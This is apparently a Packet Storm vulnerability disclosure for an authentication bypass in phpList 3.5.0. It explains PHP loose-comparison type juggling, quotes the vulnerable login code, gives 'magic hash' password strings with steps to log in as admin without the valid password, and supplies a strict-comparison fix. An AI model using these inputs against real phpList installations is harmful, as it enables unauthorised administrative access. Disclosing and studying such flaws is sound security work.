exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

phpList 3.5.0 Authentication Bypass

phpList 3.5.0 Authentication Bypass
Posted Feb 3, 2020
Authored by Suvadip Kar

phpList version 3.5.0 suffers from an authentication bypass vulnerability due to an integer conversion issue.

tags | exploit, bypass
SHA-256 | 2072bc62db6aee6a9bbced0782d27be4fdef0e8c2d9afac438d782b977bc4427

phpList 3.5.0 Authentication Bypass

Change Mirror Download
# Exploit Title: phpList 3.5.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-02-03
# Exploit Author: Suvadip Kar
# Author Contact: https://twitter.com/spidersec
# Vendor Homepage: https://www.phplist.org
# Software Link: https://www.phplist.org/download-phplist/
# Version: 3.5.0
# Tested on: Linux
# CVE : N/A

Background of the Vulnerability :

Php loose comparison '==' compares two operands by converting them to integers even if they are strings.

EXAMPLE CODE:

<?php
var_dump(hash('sha256', 'TyNOQHUS') == '0e66298694359207596086558843543959518835691168370379069085300385');
var_dump(hash('sha256', '34250003024812') == '0e66298694359207596086558843543959518835691168370379069085300385');
?>

OUTPUT:

bool(true)
bool(true)

Vulnerable code:

GITHUB: https://github.com/phpList/phplist3/blob/master/public_html/lists/admin/phpListAdminAuthentication.php
-----
if(empty($login)||($password=="")){
return array(0, s('Please enter your credentials.'));
}
if ($admindata['disabled']) {
return array(0, s('your account has been disabled'));
}
if (//Password validation.
!empty($passwordDB) && $encryptedPass == $passwordDB // Vulnerable because loose comparison is used
)
return array($admindata['id'], 'OK');
else {
if (!empty($GLOBALS['admin_auth_module'])) {
Error(s('Admin authentication has changed, please update your admin module'),
'https://resources.phplist.com/documentation/errors/adminauthchange');
return;
}
return array(0, s('incorrect password'));

}
-------

Steps to reproduce:

1. Set the string 'TyNOQHUS' as password for username 'admin'. Its sha256 value is 0e66298694359207596086558843543959518835691168370379069085300385.

2. Now navigate to endpoint '/admin' and try to login with username 'admin' password 'TyNOQHUS'.

3. User Logged in with valid password.

4. Now logout from the application and try to login with username 'admin' password '34250003024812'.

5. User Logged in, without valid password.

6. Authentication bypassed because of PHP loose comparison.

FIX: This vulnerability can be fixed by using strict comparison (===) in place of loose comparison.
-----
if(empty($login)||($password=="")){
return array(0, s('Please enter your credentials.'));
}
if ($admindata['disabled']) {
return array(0, s('your account has been disabled'));
}
if (//Password validation.
!empty($passwordDB) && $encryptedPass === $passwordDB // Fixed by using strict comparison '==='.
)
return array($admindata['id'], 'OK');
else {
if (!empty($GLOBALS['admin_auth_module'])) {
Error(s('Admin authentication has changed, please update your admin module'),
'https://resources.phplist.com/documentation/errors/adminauthchange');
return;
}
return array(0, s('incorrect password'));

}
-------

Additional Resource: https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close